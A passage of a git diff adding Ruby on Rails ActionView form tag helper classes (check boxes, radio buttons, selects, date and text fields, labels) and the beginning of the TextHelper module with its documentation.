+ @checked_value = checked_value
+ @unchecked_value = unchecked_value
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ options = @options.stringify_keys
+ options["type"] = "checkbox"
+ options["value"] = @checked_value
+ options["checked"] = "checked" if input_checked?(object, options)
+
+ if options["multiple"]
+ add_default_name_and_id_for_value(@checked_value, options)
+ options.delete("multiple")
+ else
+ add_default_name_and_id(options)
+ end
+
+ include_hidden = options.delete("include_hidden") { true }
+ checkbox = tag("input", options)
+
+ if include_hidden
+ hidden = hidden_field_for_checkbox(options)
+ hidden + checkbox
+ else
+ checkbox
+ end
+ end
+
+ private
+
+ def checked?(value)
+ case value
+ when TrueClass, FalseClass
+ value == !!@checked_value
+ when NilClass
+ false
+ when String
+ value == @checked_value
+ else
+ if value.respond_to?(:include?)
+ value.include?(@checked_value)
+ else
+ value.to_i == @checked_value.to_i
+ end
+ end
+ end
+
+ def hidden_field_for_checkbox(options)
+ @unchecked_value ? tag("input", options.slice("name", "disabled", "form").merge!("type" => "hidden", "value" => @unchecked_value)) : "".html_safe
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/checkable.rb b/actionview/lib/action_view/helpers/tags/checkable.rb
new file mode 100644
index 0000000000..052e9df662
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/checkable.rb
@@ -0,0 +1,16 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ module Checkable # :nodoc:
+ def input_checked?(object, options)
+ if options.has_key?("checked")
+ checked = options.delete "checked"
+ checked == true || checked == "checked"
+ else
+ checked?(value(object))
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
new file mode 100644
index 0000000000..6242a2a085
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
@@ -0,0 +1,57 @@
+require 'action_view/helpers/tags/collection_helpers'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class CollectionCheckBoxes < Base # :nodoc:
+ include CollectionHelpers
+
+ class CheckBoxBuilder < Builder # :nodoc:
+ def check_box(extra_html_options={})
+ html_options = extra_html_options.merge(@input_html_options)
+ @template_object.check_box(@object_name, @method_name, html_options, @value, nil)
+ end
+ end
+
+ def render(&block)
+ rendered_collection = render_collection do |item, value, text, default_html_options|
+ default_html_options[:multiple] = true
+ builder = instantiate_builder(CheckBoxBuilder, item, value, text, default_html_options)
+
+ if block_given?
+ @template_object.capture(builder, &block)
+ else
+ render_component(builder)
+ end
+ end
+
+ # Append a hidden field to make sure something will be sent back to the
+ # server if all check boxes are unchecked.
+ if @options.fetch(:include_hidden, true)
+ rendered_collection + hidden_field
+ else
+ rendered_collection
+ end
+ end
+
+ private
+
+ def render_component(builder)
+ builder.check_box + builder.label
+ end
+
+ def hidden_field
+ hidden_name = @html_options[:name]
+
+ hidden_name ||= if @options.has_key?(:index)
+ "#{tag_name_with_index(@options[:index])}[]"
+ else
+ "#{tag_name}[]"
+ end
+
+ @template_object.hidden_field_tag(hidden_name, "", id: nil)
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/collection_helpers.rb b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
new file mode 100644
index 0000000000..8050638363
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
@@ -0,0 +1,85 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ module CollectionHelpers # :nodoc:
+ class Builder # :nodoc:
+ attr_reader :object, :text, :value
+
+ def initialize(template_object, object_name, method_name, object,
+ sanitized_attribute_name, text, value, input_html_options)
+ @template_object = template_object
+ @object_name = object_name
+ @method_name = method_name
+ @object = object
+ @sanitized_attribute_name = sanitized_attribute_name
+ @text = text
+ @value = value
+ @input_html_options = input_html_options
+ end
+
+ def label(label_html_options={}, &block)
+ html_options = @input_html_options.slice(:index, :namespace).merge(label_html_options)
+ @template_object.label(@object_name, @sanitized_attribute_name, @text, html_options, &block)
+ end
+ end
+
+ def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
+ @collection = collection
+ @value_method = value_method
+ @text_method = text_method
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ private
+
+ def instantiate_builder(builder_class, item, value, text, html_options)
+ builder_class.new(@template_object, @object_name, @method_name, item,
+ sanitize_attribute_name(value), text, value, html_options)
+ end
+
+ # Generate default options for collection helpers, such as :checked and
+ # :disabled.
+ def default_html_options_for_collection(item, value) #:nodoc:
+ html_options = @html_options.dup
+
+ [:checked, :selected, :disabled, :readonly].each do |option|
+ current_value = @options[option]
+ next if current_value.nil?
+
+ accept = if current_value.respond_to?(:call)
+ current_value.call(item)
+ else
+ Array(current_value).map(&:to_s).include?(value.to_s)
+ end
+
+ if accept
+ html_options[option] = true
+ elsif option == :checked
+ html_options[option] = false
+ end
+ end
+
+ html_options[:object] = @object
+ html_options
+ end
+
+ def sanitize_attribute_name(value) #:nodoc:
+ "#{sanitized_method_name}_#{sanitized_value(value)}"
+ end
+
+ def render_collection #:nodoc:
+ @collection.map do |item|
+ value = value_for_collection(item, @value_method)
+ text = value_for_collection(item, @text_method)
+ default_html_options = default_html_options_for_collection(item, value)
+ additional_html_options = option_html_attributes(item)
+
+ yield item, value, text, default_html_options.merge(additional_html_options)
+ end.join.html_safe
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb b/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb
new file mode 100644
index 0000000000..20be34c1f2
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb
@@ -0,0 +1,36 @@
+require 'action_view/helpers/tags/collection_helpers'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class CollectionRadioButtons < Base # :nodoc:
+ include CollectionHelpers
+
+ class RadioButtonBuilder < Builder # :nodoc:
+ def radio_button(extra_html_options={})
+ html_options = extra_html_options.merge(@input_html_options)
+ @template_object.radio_button(@object_name, @method_name, @value, html_options)
+ end
+ end
+
+ def render(&block)
+ render_collection do |item, value, text, default_html_options|
+ builder = instantiate_builder(RadioButtonBuilder, item, value, text, default_html_options)
+
+ if block_given?
+ @template_object.capture(builder, &block)
+ else
+ render_component(builder)
+ end
+ end
+ end
+
+ private
+
+ def render_component(builder)
+ builder.radio_button + builder.label
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/collection_select.rb b/actionview/lib/action_view/helpers/tags/collection_select.rb
new file mode 100644
index 0000000000..6cb2b2e0d3
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/collection_select.rb
@@ -0,0 +1,28 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class CollectionSelect < Base #:nodoc:
+ def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
+ @collection = collection
+ @value_method = value_method
+ @text_method = text_method
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ option_tags_options = {
+ :selected => @options.fetch(:selected) { value(@object) },
+ :disabled => @options[:disabled]
+ }
+
+ select_content_tag(
+ options_from_collection_for_select(@collection, @value_method, @text_method, option_tags_options),
+ @options, @html_options
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/color_field.rb b/actionview/lib/action_view/helpers/tags/color_field.rb
new file mode 100644
index 0000000000..b4bbe92746
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/color_field.rb
@@ -0,0 +1,25 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class ColorField < TextField # :nodoc:
+ def render
+ options = @options.stringify_keys
+ options["value"] ||= validate_color_string(value(object))
+ @options = options
+ super
+ end
+
+ private
+
+ def validate_color_string(string)
+ regex = /#[0-9a-fA-F]{6}/
+ if regex.match(string)
+ string.downcase
+ else
+ "#000000"
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/date_field.rb b/actionview/lib/action_view/helpers/tags/date_field.rb
new file mode 100644
index 0000000000..c22be0db29
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/date_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class DateField < DatetimeField # :nodoc:
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%Y-%m-%d")
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/date_select.rb b/actionview/lib/action_view/helpers/tags/date_select.rb
new file mode 100644
index 0000000000..0c4ac40070
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/date_select.rb
@@ -0,0 +1,72 @@
+require 'active_support/core_ext/time/calculations'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class DateSelect < Base # :nodoc:
+ def initialize(object_name, method_name, template_object, options, html_options)
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ error_wrapping(datetime_selector(@options, @html_options).send("select_#{select_type}").html_safe)
+ end
+
+ class << self
+ def select_type
+ @select_type ||= self.name.split("::").last.sub("Select", "").downcase
+ end
+ end
+
+ private
+
+ def select_type
+ self.class.select_type
+ end
+
+ def datetime_selector(options, html_options)
+ datetime = options.fetch(:selected) { value(object) || default_datetime(options) }
+ @auto_index ||= nil
+
+ options = options.dup
+ options[:field_name] = @method_name
+ options[:include_position] = true
+ options[:prefix] ||= @object_name
+ options[:index] = @auto_index if @auto_index && !options.has_key?(:index)
+
+ DateTimeSelector.new(datetime, options, html_options)
+ end
+
+ def default_datetime(options)
+ return if options[:include_blank] || options[:prompt]
+
+ case options[:default]
+ when nil
+ Time.current
+ when Date, Time
+ options[:default]
+ else
+ default = options[:default].dup
+
+ # Rename :minute and :second to :min and :sec
+ default[:min] ||= default[:minute]
+ default[:sec] ||= default[:second]
+
+ time = Time.current
+
+ [:year, :month, :day, :hour, :min, :sec].each do |key|
+ default[key] ||= time.send(key)
+ end
+
+ Time.utc(
+ default[:year], default[:month], default[:day],
+ default[:hour], default[:min], default[:sec]
+ )
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/datetime_field.rb b/actionview/lib/action_view/helpers/tags/datetime_field.rb
new file mode 100644
index 0000000000..b2cee9d198
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/datetime_field.rb
@@ -0,0 +1,30 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class DatetimeField < TextField # :nodoc:
+ def render
+ options = @options.stringify_keys
+ options["value"] ||= format_date(value(object))
+ options["min"] = format_date(datetime_value(options["min"]))
+ options["max"] = format_date(datetime_value(options["max"]))
+ @options = options
+ super
+ end
+
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%Y-%m-%dT%T.%L%z")
+ end
+
+ def datetime_value(value)
+ if value.is_a? String
+ DateTime.parse(value) rescue nil
+ else
+ value
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/datetime_local_field.rb b/actionview/lib/action_view/helpers/tags/datetime_local_field.rb
new file mode 100644
index 0000000000..b4a74185d1
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/datetime_local_field.rb
@@ -0,0 +1,19 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class DatetimeLocalField < DatetimeField # :nodoc:
+ class << self
+ def field_type
+ @field_type ||= "datetime-local"
+ end
+ end
+
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%Y-%m-%dT%T")
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/datetime_select.rb b/actionview/lib/action_view/helpers/tags/datetime_select.rb
new file mode 100644
index 0000000000..563de1840e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/datetime_select.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class DatetimeSelect < DateSelect # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/email_field.rb b/actionview/lib/action_view/helpers/tags/email_field.rb
new file mode 100644
index 0000000000..7ce3ccb9bf
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/email_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class EmailField < TextField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/file_field.rb b/actionview/lib/action_view/helpers/tags/file_field.rb
new file mode 100644
index 0000000000..476b820d84
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/file_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class FileField < TextField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb b/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb
new file mode 100644
index 0000000000..2ed4712dac
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb
@@ -0,0 +1,29 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class GroupedCollectionSelect < Base # :nodoc:
+ def initialize(object_name, method_name, template_object, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
+ @collection = collection
+ @group_method = group_method
+ @group_label_method = group_label_method
+ @option_key_method = option_key_method
+ @option_value_method = option_value_method
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ option_tags_options = {
+ :selected => @options.fetch(:selected) { value(@object) },
+ :disabled => @options[:disabled]
+ }
+
+ select_content_tag(
+ option_groups_from_collection_for_select(@collection, @group_method, @group_label_method, @option_key_method, @option_value_method, option_tags_options), @options, @html_options
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/hidden_field.rb b/actionview/lib/action_view/helpers/tags/hidden_field.rb
new file mode 100644
index 0000000000..c3757c2461
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/hidden_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class HiddenField < TextField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/label.rb b/actionview/lib/action_view/helpers/tags/label.rb
new file mode 100644
index 0000000000..08a23e497e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/label.rb
@@ -0,0 +1,89 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class Label < Base # :nodoc:
+ class LabelBuilder # :nodoc:
+ attr_reader :object
+
+ def initialize(template_object, object_name, method_name, object, tag_value)
+ @template_object = template_object
+ @object_name = object_name
+ @method_name = method_name
+ @object = object
+ @tag_value = tag_value
+ end
+
+ def translation
+ method_and_value = @tag_value.present? ? "#{@method_name}.#{@tag_value}" : @method_name
+ @object_name.gsub!(/\[(.*)_attributes\]\[\d+\]/, '.\1')
+
+ if object.respond_to?(:to_model)
+ key = object.model_name.i18n_key
+ i18n_default = ["#{key}.#{method_and_value}".to_sym, ""]
+ end
+
+ i18n_default ||= ""
+ content = I18n.t("#{@object_name}.#{method_and_value}", :default => i18n_default, :scope => "helpers.label").presence
+
+ content ||= if object && object.class.respond_to?(:human_attribute_name)
+ object.class.human_attribute_name(method_and_value)
+ end
+
+ content ||= @method_name.humanize
+
+ content
+ end
+ end
+
+ def initialize(object_name, method_name, template_object, content_or_options = nil, options = nil)
+ options ||= {}
+
+ content_is_options = content_or_options.is_a?(Hash)
+ if content_is_options
+ options.merge! content_or_options
+ @content = nil
+ else
+ @content = content_or_options
+ end
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render(&block)
+ options = @options.stringify_keys
+ tag_value = options.delete("value")
+ name_and_id = options.dup
+
+ if name_and_id["for"]
+ name_and_id["id"] = name_and_id["for"]
+ else
+ name_and_id.delete("id")
+ end
+
+ add_default_name_and_id_for_value(tag_value, name_and_id)
+ options.delete("index")
+ options.delete("namespace")
+ options["for"] = name_and_id["id"] unless options.key?("for")
+
+ builder = LabelBuilder.new(@template_object, @object_name, @method_name, @object, tag_value)
+
+ content = if block_given?
+ @template_object.capture(builder, &block)
+ elsif @content.present?
+ @content.to_s
+ else
+ render_component(builder)
+ end
+
+ label_tag(name_and_id["id"], content, options)
+ end
+
+ private
+
+ def render_component(builder)
+ builder.translation
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/month_field.rb b/actionview/lib/action_view/helpers/tags/month_field.rb
new file mode 100644
index 0000000000..4c0fb846ee
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/month_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class MonthField < DatetimeField # :nodoc:
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%Y-%m")
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/number_field.rb b/actionview/lib/action_view/helpers/tags/number_field.rb
new file mode 100644
index 0000000000..4f95b1b4de
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/number_field.rb
@@ -0,0 +1,18 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class NumberField < TextField # :nodoc:
+ def render
+ options = @options.stringify_keys
+
+ if range = options.delete("in") || options.delete("within")
+ options.update("min" => range.min, "max" => range.max)
+ end
+
+ @options = options
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/password_field.rb b/actionview/lib/action_view/helpers/tags/password_field.rb
new file mode 100644
index 0000000000..6099fa6f19
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/password_field.rb
@@ -0,0 +1,12 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class PasswordField < TextField # :nodoc:
+ def render
+ @options = {:value => nil}.merge!(@options)
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/placeholderable.rb b/actionview/lib/action_view/helpers/tags/placeholderable.rb
new file mode 100644
index 0000000000..ae67bc13af
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/placeholderable.rb
@@ -0,0 +1,34 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ module Placeholderable # :nodoc:
+ def initialize(*)
+ super
+
+ if tag_value = @options[:placeholder]
+ placeholder = tag_value if tag_value.is_a?(String)
+
+ object_name = @object_name.gsub(/\[(.*)_attributes\]\[\d+\]/, '.\1')
+ method_and_value = tag_value.is_a?(TrueClass) ? @method_name : "#{@method_name}.#{tag_value}"
+
+ if object.respond_to?(:to_model)
+ key = object.class.model_name.i18n_key
+ i18n_default = ["#{key}.#{method_and_value}".to_sym, ""]
+ end
+
+ i18n_default ||= ""
+ placeholder ||= I18n.t("#{object_name}.#{method_and_value}", :default => i18n_default, :scope => "helpers.placeholder").presence
+
+ placeholder ||= if object && object.class.respond_to?(:human_attribute_name)
+ object.class.human_attribute_name(method_and_value)
+ end
+
+ placeholder ||= @method_name.humanize
+
+ @options[:placeholder] = placeholder
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/radio_button.rb b/actionview/lib/action_view/helpers/tags/radio_button.rb
new file mode 100644
index 0000000000..4849c537a5
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/radio_button.rb
@@ -0,0 +1,31 @@
+require 'action_view/helpers/tags/checkable'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class RadioButton < Base # :nodoc:
+ include Checkable
+
+ def initialize(object_name, method_name, template_object, tag_value, options)
+ @tag_value = tag_value
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ options = @options.stringify_keys
+ options["type"] = "radio"
+ options["value"] = @tag_value
+ options["checked"] = "checked" if input_checked?(object, options)
+ add_default_name_and_id_for_value(@tag_value, options)
+ tag("input", options)
+ end
+
+ private
+
+ def checked?(value)
+ value.to_s == @tag_value.to_s
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/range_field.rb b/actionview/lib/action_view/helpers/tags/range_field.rb
new file mode 100644
index 0000000000..f98ae88043
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/range_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class RangeField < NumberField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/search_field.rb b/actionview/lib/action_view/helpers/tags/search_field.rb
new file mode 100644
index 0000000000..c09e2f1be7
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/search_field.rb
@@ -0,0 +1,24 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class SearchField < TextField # :nodoc:
+ def render
+ options = @options.stringify_keys
+
+ if options["autosave"]
+ if options["autosave"] == true
+ options["autosave"] = request.host.split(".").reverse.join(".")
+ end
+ options["results"] ||= 10
+ end
+
+ if options["onsearch"]
+ options["incremental"] = true unless options.has_key?("incremental")
+ end
+
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/select.rb b/actionview/lib/action_view/helpers/tags/select.rb
new file mode 100644
index 0000000000..180900cc8d
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/select.rb
@@ -0,0 +1,41 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class Select < Base # :nodoc:
+ def initialize(object_name, method_name, template_object, choices, options, html_options)
+ @choices = block_given? ? template_object.capture { yield || "" } : choices
+ @choices = @choices.to_a if @choices.is_a?(Range)
+
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ option_tags_options = {
+ :selected => @options.fetch(:selected) { value(@object) },
+ :disabled => @options[:disabled]
+ }
+
+ option_tags = if grouped_choices?
+ grouped_options_for_select(@choices, option_tags_options)
+ else
+ options_for_select(@choices, option_tags_options)
+ end
+
+ select_content_tag(option_tags, @options, @html_options)
+ end
+
+ private
+
+ # Grouped choices look like this:
+ #
+ # [nil, []]
+ # { nil => [] }
+ def grouped_choices?
+ !@choices.empty? && @choices.first.respond_to?(:last) && Array === @choices.first.last
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/tel_field.rb b/actionview/lib/action_view/helpers/tags/tel_field.rb
new file mode 100644
index 0000000000..987bb9e67a
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/tel_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TelField < TextField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/text_area.rb b/actionview/lib/action_view/helpers/tags/text_area.rb
new file mode 100644
index 0000000000..69038c1498
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/text_area.rb
@@ -0,0 +1,22 @@
+require 'action_view/helpers/tags/placeholderable'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TextArea < Base # :nodoc:
+ include Placeholderable
+
+ def render
+ options = @options.stringify_keys
+ add_default_name_and_id(options)
+
+ if size = options.delete("size")
+ options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+ end
+
+ content_tag("textarea", options.delete("value") { value_before_type_cast(object) }, options)
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/text_field.rb b/actionview/lib/action_view/helpers/tags/text_field.rb
new file mode 100644
index 0000000000..5c576a20ca
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/text_field.rb
@@ -0,0 +1,32 @@
+require 'action_view/helpers/tags/placeholderable'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TextField < Base # :nodoc:
+ include Placeholderable
+
+ def render
+ options = @options.stringify_keys
+ options["size"] = options["maxlength"] unless options.key?("size")
+ options["type"] ||= field_type
+ options["value"] = options.fetch("value") { value_before_type_cast(object) } unless field_type == "file"
+ add_default_name_and_id(options)
+ tag("input", options)
+ end
+
+ class << self
+ def field_type
+ @field_type ||= self.name.split("::").last.sub("Field", "").downcase
+ end
+ end
+
+ private
+
+ def field_type
+ self.class.field_type
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/time_field.rb b/actionview/lib/action_view/helpers/tags/time_field.rb
new file mode 100644
index 0000000000..0e90a3aed7
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/time_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TimeField < DatetimeField # :nodoc:
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%T.%L")
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/time_select.rb b/actionview/lib/action_view/helpers/tags/time_select.rb
new file mode 100644
index 0000000000..0b06311d25
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/time_select.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TimeSelect < DateSelect # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/time_zone_select.rb b/actionview/lib/action_view/helpers/tags/time_zone_select.rb
new file mode 100644
index 0000000000..80d165ec7e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/time_zone_select.rb
@@ -0,0 +1,20 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TimeZoneSelect < Base # :nodoc:
+ def initialize(object_name, method_name, template_object, priority_zones, options, html_options)
+ @priority_zones = priority_zones
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ select_content_tag(
+ time_zone_options_for_select(value(@object) || @options[:default], @priority_zones, @options[:model] || ActiveSupport::TimeZone), @options, @html_options
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/url_field.rb b/actionview/lib/action_view/helpers/tags/url_field.rb
new file mode 100644
index 0000000000..d76340178d
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/url_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class UrlField < TextField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/tags/week_field.rb b/actionview/lib/action_view/helpers/tags/week_field.rb
new file mode 100644
index 0000000000..5b3d0494e9
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/week_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class WeekField < DatetimeField # :nodoc:
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%Y-W%W")
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/text_helper.rb b/actionview/lib/action_view/helpers/text_helper.rb
new file mode 100644
index 0000000000..a9f1631586
--- /dev/null
+++ b/actionview/lib/action_view/helpers/text_helper.rb
@@ -0,0 +1,467 @@
+require 'active_support/core_ext/string/filters'
+require 'active_support/core_ext/array/extract_options'
+
+module ActionView
+ # = Action View Text Helpers
+ module Helpers #:nodoc:
+ # The TextHelper module provides a set of methods for filtering, formatting
+ # and transforming strings, which can reduce the amount of inline Ruby code in
+ # your views. These helper methods extend Action View making them callable
+ # within your template files.
+ #
+ # ==== Sanitization
+ #
+ # Most text helpers by default sanitize the given content, but do not escape it.
+ # This means HTML tags will appear in the page but all malicious code will be removed.
+ # Let's look at some examples using the +simple_format+ method:
+ #
+ # simple_format('<a href="http://example.com/">Example</a>')
+ # # => "<p><a href=\"http://example.com/\">Example</a></p>"
+ #
+ # simple_format('<a href="javascript:alert(\'no!\')">Example</a>')
+ # # => "<p><a>Example</a></p>"
+ #
+ # If you want to escape all content, you should invoke the +h+ method before
+ # calling the text helper.
+ #
+ # simple_format h('<a href="http://example.com/">Example</a>')
+ # # => "<p>&lt;a href=\"http://example.com/\"&gt;Example&lt;/a&gt;</p>"
+ module TextHelper
+ extend ActiveSupport::Concern
+
+ include SanitizeHelper
+ include TagHelper
+ include OutputSafetyHelper
+
+ # The preferred method of outputting text in your views is to use the
+ # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
+ # do not operate as expected in an eRuby code block. If you absolutely must
+ # output text within a non-output code block (i.e., <% %>), you can use the concat method.
+ #
+ # <%
+ # concat "hello"
+ # # is the equivalent of <%= "hello" %>
+ #
+ # if logged_in
+ # concat "Logged in!"
+ # else
+ # concat link_to('login', action: :login)
+ # end
+ # # will either display "Logged in!" or a login link
+ # %>
+ def concat(string)
+ output_buffer << string
+ end
+
+ def safe_concat(string)
+ output_buffer.respond_to?(:safe_concat) ? output_buffer.safe_concat(string) : concat(string)
+ end
+
+ # Truncates a given +text+ after a given <tt>:length</tt> if +text+ is longer than <tt>:length</tt>
+ # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...")
+ # for a total length not exceeding <tt>:length</tt>.
+ #
+ # Pass a <tt>:separator</tt> to truncate +text+ at a natural break.
+ #
+ # Pass a block if you want to show extra content when the text is truncated.
+ #
+ # The result is marked as HTML-safe, but it is escaped by default, unless <tt>:escape</tt> is
+ # +false+. Care should be taken if +text+ contains HTML tags or entities, because truncation
+ # may produce invalid HTML (such as unbalanced or incomplete tags).
+ #
+ # truncate("Once upon a time in a world far far away")
+ # # => "Once upon a time in a world..."
+ #
+ # truncate("Once upon a time in a world far far away", length: 17)
+ # # => "Once upon a ti..."
+ #
+ # truncate("Once upon a time in a world far far away", length: 17, separator: ' ')
+ # # => "Once upon a..."
+ #
+ # truncate("And they found that many people were sleeping better.", length: 25, omission: '... (continued)')
+ # # => "And they f... (continued)"
+ #
